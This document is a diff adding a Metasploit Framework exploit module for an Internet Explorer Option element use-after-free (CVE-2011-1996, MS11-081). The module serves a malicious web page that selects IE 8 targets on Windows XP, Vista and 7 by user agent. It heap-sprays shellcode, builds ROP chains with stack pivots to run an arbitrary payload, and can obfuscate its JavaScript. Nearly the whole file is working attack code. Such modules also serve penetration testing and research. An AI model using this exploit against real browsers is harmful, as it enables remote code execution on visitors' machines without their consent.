|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 14 | + include Msf::Exploit::RopDb |
| 15 | + |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => "Microsoft Internet Explorer Option Element Use-After-Free", |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits a vulnerability in Microsoft Internet Explorer. A memory |
| 22 | + corruption may occur when the Option cache isn't updated properly, which allows |
| 23 | + other JavaScript methods to access a deleted Option element, and results in code |
| 24 | + execution under the context of the user. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Ivan Fratric', #Initial discovery |
| 30 | + 'juan vazquez', #Metasploit |
| 31 | + 'sinn3r' #Metasploit |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '2011-1996' ], |
| 36 | + [ 'MSB', 'MS11-081' ], |
| 37 | + [ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ], |
| 38 | + [ 'URL', 'http://pastebin.com/YLH725Aj' ] |
| 39 | + ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'StackAdjustment' => -3500, |
| 43 | + }, |
| 44 | + 'DefaultOptions' => |
| 45 | + { |
| 46 | + 'InitialAutoRunScript' => 'migrate -f' |
| 47 | + }, |
| 48 | + 'Platform' => 'win', |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Automatic', {} ], |
| 52 | + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], |
| 53 | + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], |
| 54 | + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ] |
| 55 | + ], |
| 56 | + 'Privileged' => false, |
| 57 | + 'DisclosureDate' => "Oct 11 2012", |
| 58 | + 'DefaultTarget' => 0)) |
| 59 | + |
| 60 | + register_options( |
| 61 | + [ |
| 62 | + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) |
| 63 | + ], self.class) |
| 64 | + |
| 65 | + end |
| 66 | + |
| 67 | + def get_target(agent) |
| 68 | + #If the user is already specified by the user, we'll just use that |
| 69 | + return target if target.name != 'Automatic' |
| 70 | + |
| 71 | + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' |
| 72 | + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' |
| 73 | + |
| 74 | + ie_name = "IE #{ie}" |
| 75 | + |
| 76 | + case nt |
| 77 | + when '5.1' |
| 78 | + os_name = 'Windows XP SP3' |
| 79 | + when '6.0' |
| 80 | + os_name = 'Windows Vista' |
| 81 | + when '6.1' |
| 82 | + os_name = 'Windows 7' |
| 83 | + end |
| 84 | + |
| 85 | + targets.each do |t| |
| 86 | + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) |
| 87 | + print_status("Target selected as: #{t.name}") |
| 88 | + return t |
| 89 | + end |
| 90 | + end |
| 91 | + |
| 92 | + return nil |
| 93 | + end |
| 94 | + |
| 95 | + def ie_heap_spray(my_target, p) |
| 96 | + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) |
| 97 | + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) |
| 98 | + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) |
| 99 | + |
| 100 | + js = %Q| |
| 101 | + function heap_spray() { |
| 102 | + var heap_obj = new heapLib.ie(0x20000); |
| 103 | + var code = unescape("#{js_code}"); |
| 104 | + var nops = unescape("#{js_nops}"); |
| 105 | + while (nops.length < 0x80000) nops += nops; |
| 106 | + var offset = nops.substring(0, #{my_target['Offset']}); |
| 107 | + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); |
| 108 | + while (shellcode.length < 0x40000) shellcode += shellcode; |
| 109 | + var block = shellcode.substring(0, (0x80000-6)/2); |
| 110 | + heap_obj.gc(); |
| 111 | + for (var i=1; i < 0x300; i++) { |
| 112 | + heap_obj.alloc(block); |
| 113 | + } |
| 114 | + var overflow = nops.substring(0, 10); |
| 115 | + } |
| 116 | + | |
| 117 | + |
| 118 | + js = heaplib(js, {:noobfu => true}) |
| 119 | + |
| 120 | + if datastore['OBFUSCATE'] |
| 121 | + js = ::Rex::Exploitation::JSObfu.new(js) |
| 122 | + js.obfuscate |
| 123 | + @heap_spray_func = js.sym("heap_spray") |
| 124 | + end |
| 125 | + |
| 126 | + return js |
| 127 | + end |
| 128 | + |
| 129 | + def get_payload(t, cli) |
| 130 | + code = payload.encoded |
| 131 | + |
| 132 | + # No rop. Just return the payload. |
| 133 | + return code if t['Rop'].nil? |
| 134 | + |
| 135 | + # Both ROP chains generated by mona.py - See corelan.be |
| 136 | + case t['Rop'] |
| 137 | + when :msvcrt |
| 138 | + print_status("Using msvcrt ROP") |
| 139 | + rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) |
| 140 | + rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) |
| 141 | + rop_payload << "\xeb\x04" # jmp $+6 |
| 142 | + rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret |
| 143 | + rop_payload << code |
| 144 | + else |
| 145 | + print_status("Using JRE ROP") |
| 146 | + rop_payload = generate_rop_payload('java', '') |
| 147 | + rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) |
| 148 | + rop_payload << "\xeb\x08" # jmp $+10 |
| 149 | + rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret |
| 150 | + rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret |
| 151 | + rop_payload << code |
| 152 | + end |
| 153 | + |
| 154 | + return rop_payload |
| 155 | + end |
| 156 | + |
| 157 | + def load_exploit_html(my_target, cli) |
| 158 | + @heap_spray_func = "heap_spray" |
| 159 | + p = get_payload(my_target, cli) |
| 160 | + js = ie_heap_spray(my_target, p) |
| 161 | + |
| 162 | + |
| 163 | + #var fakeobj = unescape("%u0c0c%u0c0c"); |
| 164 | + #call to 0c0c0c0c |
| 165 | + #eax ==> 0c0c0a14 |
| 166 | + html = %Q| |
| 167 | + <!DOCTYPE html> |
| 168 | + <html> |
| 169 | + <head> |
| 170 | + <script> |
| 171 | + #{js} |
| 172 | +
|
| 173 | + function ivan() |
| 174 | + { |
| 175 | +
|
| 176 | + var fakeobj = unescape("%u0a14%u0c0c"); |
| 177 | + fakeobj += unescape("%u4141%u4141"); |
| 178 | + while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141"); |
| 179 | +
|
| 180 | + var formobj, selobj, optobj; |
| 181 | + selobj = document.getElementById("select1"); |
| 182 | + formobj = selobj.form; |
| 183 | +
|
| 184 | + var imgarray = new Array(); |
| 185 | + for(var j = 0; j < 500; j++) { |
| 186 | + imgarray.push(document.createElement("img")); |
| 187 | + } |
| 188 | +
|
| 189 | + for(var i=0;i<5;i++) { |
| 190 | + optobj = document.createElement('option'); |
| 191 | + optobj.text = "test"; |
| 192 | + selobj.add(optobj); |
| 193 | + } |
| 194 | +
|
| 195 | + selobj.innerText = "foo"; |
| 196 | +
|
| 197 | + for(var i = 0; i < imgarray.length; i++) { |
| 198 | + imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1); |
| 199 | + } |
| 200 | +
|
| 201 | + #{@heap_spray_func}(); |
| 202 | +
|
| 203 | + formobj.reset(); |
| 204 | + } |
| 205 | +
|
| 206 | + </script> |
| 207 | + </head> |
| 208 | +
|
| 209 | + <body onload='ivan()'> |
| 210 | + <form method="post"> |
| 211 | + <select id="select1"> |
| 212 | + </select> |
| 213 | + </form> |
| 214 | + </body> |
| 215 | + </html> |
| 216 | + | |
| 217 | + |
| 218 | + return html |
| 219 | + end |
| 220 | + |
| 221 | + def on_request_uri(cli, request) |
| 222 | + agent = request.headers['User-Agent'] |
| 223 | + uri = request.uri |
| 224 | + print_status("Requesting: #{uri}") |
| 225 | + |
| 226 | + my_target = get_target(agent) |
| 227 | + # Avoid the attack if no suitable target found |
| 228 | + if my_target.nil? |
| 229 | + print_error("Browser not supported, sending 404: #{agent}") |
| 230 | + send_not_found(cli) |
| 231 | + return |
| 232 | + end |
| 233 | + |
| 234 | + html = load_exploit_html(my_target, cli) |
| 235 | + html = html.gsub(/^\t\t/, '') |
| 236 | + print_status("Sending HTML...") |
| 237 | + send_response(cli, html, {'Content-Type'=>'text/html'}) |
| 238 | + end |
| 239 | +end |
0 commit comments